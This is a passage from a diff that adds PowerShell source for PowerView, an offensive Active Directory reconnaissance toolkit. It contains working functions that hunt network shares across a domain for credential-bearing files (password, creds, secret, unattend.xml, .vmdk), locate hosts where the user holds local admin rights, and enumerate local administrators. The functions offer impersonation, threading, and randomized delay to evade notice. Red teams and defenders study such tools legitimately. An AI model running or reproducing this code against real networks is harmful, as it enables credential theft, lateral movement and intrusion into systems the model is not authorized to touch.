(1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'CheckShareAccess' = $CheckShareAccess + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-InterestingDomainShareFile { +<# +.SYNOPSIS + +Searches for files matching specific criteria on readable shares +in the domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. It will then use Find-InterestingFile on each +readhable share, searching for files marching specific criteria. If -Credential +is passed, then Invoke-UserImpersonation is used to impersonate the specified +user before enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER Include + +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) + +.PARAMETER SharePath + +Specifies one or more specific share paths to search, in the form \\COMPUTER\Share + +.PARAMETER ExcludedShares + +Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. + +.PARAMETER LastAccessTime + +Only return files with a LastAccessTime greater than this date value. + +.PARAMETER LastWriteTime + +Only return files with a LastWriteTime greater than this date value. + +.PARAMETER CreationTime + +Only return files with a CreationTime greater than this date value. + +.PARAMETER OfficeDocs + +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + +.PARAMETER FreshEXEs + +Switch. Find .EXEs accessed within the last 7 days. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-InterestingDomainShareFile + +Finds 'interesting' files on the current domain. + +.EXAMPLE + +Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') + +Finds 'interesting' files on readable shares on the specified systems. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches interesting files in the testlab.local domain using the specified alternate credentials. + +.OUTPUTS + +PowerView.FoundFile +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), + + [ValidateNotNullOrEmpty()] + [ValidatePattern('\\\\')] + [Alias('Share')] + [String[]] + $SharePath, + + [String[]] + $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastAccessTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastWriteTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $CreationTime, + + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + + $SearchShares = @() + if ($TargetComputer.StartsWith('\\')) { + # if a share is passed as the server + $SearchShares += $TargetComputer + } + else { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + $Path = '\\'+$TargetComputer+'\'+$ShareName + # make sure we get a real share name back + if (($ShareName) -and ($ShareName.Trim() -ne '')) { + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $ShareName) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Verbose "[!] No access to $Path" + } + } + } + } + } + } + + ForEach ($Share in $SearchShares) { + Write-Verbose "Searching share: $Share" + $SearchArgs = @{ + 'Path' = $Share + 'Include' = $Include + } + if ($OfficeDocs) { + $SearchArgs['OfficeDocs'] = $OfficeDocs + } + if ($FreshEXEs) { + $SearchArgs['FreshEXEs'] = $FreshEXEs + } + if ($LastAccessTime) { + $SearchArgs['LastAccessTime'] = $LastAccessTime + } + if ($LastWriteTime) { + $SearchArgs['LastWriteTime'] = $LastWriteTime + } + if ($CreationTime) { + $SearchArgs['CreationTime'] = $CreationTime + } + if ($CheckWriteAccess) { + $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess + } + Find-InterestingFile @SearchArgs + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken + } + } + else { + Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'Include' = $Include + 'ExcludedShares' = $ExcludedShares + 'OfficeDocs' = $OfficeDocs + 'ExcludeHidden' = $ExcludeHidden + 'FreshEXEs' = $FreshEXEs + 'CheckWriteAccess' = $CheckWriteAccess + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-LocalAdminAccess { +<# +.SYNOPSIS + +Finds machines on the local domain where the current user has local administrator access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and for each computer it checks if the current user +has local administrator access using Test-AdminAccess. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +Idea adapted from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER CheckShareAccess + +Switch. Only display found shares that the local user has access to. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-LocalAdminAccess + +Finds machines in the current domain the current user has admin access to. + +.EXAMPLE + +Find-LocalAdminAccess -Domain dev.testlab.local + +Finds machines in the dev.testlab.local domain the current user has admin access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-LocalAdminAccess -Domain testlab.local -Credential $Cred + +Finds machines in the testlab.local domain that the user with the specified -Credential +has admin access to. + +.OUTPUTS + +String + +Computer dnshostnames the current user has administrative access to. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Switch] + $CheckShareAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-LocalAdminAccess] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # check if the current user has local admin access to this server + $Access = Test-AdminAccess -ComputerName $TargetComputer + if ($Access.IsAdmin) { + $TargetComputer + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken + } + } + else { + Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainLocalGroupMember { +<# +.SYNOPSIS + +Enumerates the members of specified local group (default administrators) +for all the targeted machines on the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the members of the specified local +group (default of Administrators) for each machine using Get-NetLocalGroupMember. +By default, the API method is used, but this can be modified with '-Method winnt' +to use the WinNT service provider. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER GroupName + +The local group name to query for users. If not given, it defaults to "Administrators". + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainLocalGroupMember + +Enumerates the local group memberships for all reachable machines in the current domain. + +.EXAMPLE + +Find-DomainLocalGroupMember -Domain dev.testlab.local + +Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred + +Enumerates the local group memberships for all reachable machines the dev.testlab.local +domain using the alternate credentials. + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $GroupName, $Method, $TokenHandle) + + # Add check if user defaults to/selects "Administrators" + if ($GroupName -eq "Administrators") { + $AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null) + $GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1] + } + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $NetLocalGroupMemberArguments = @{ + 'ComputerName' = $TargetComputer + 'Method' = $Method + 'GroupName' = $GroupName + } + Get-NetLocalGroupMember @NetLocalGroupMemberArguments + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'GroupName' = $GroupName + 'Method' = $Method + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads 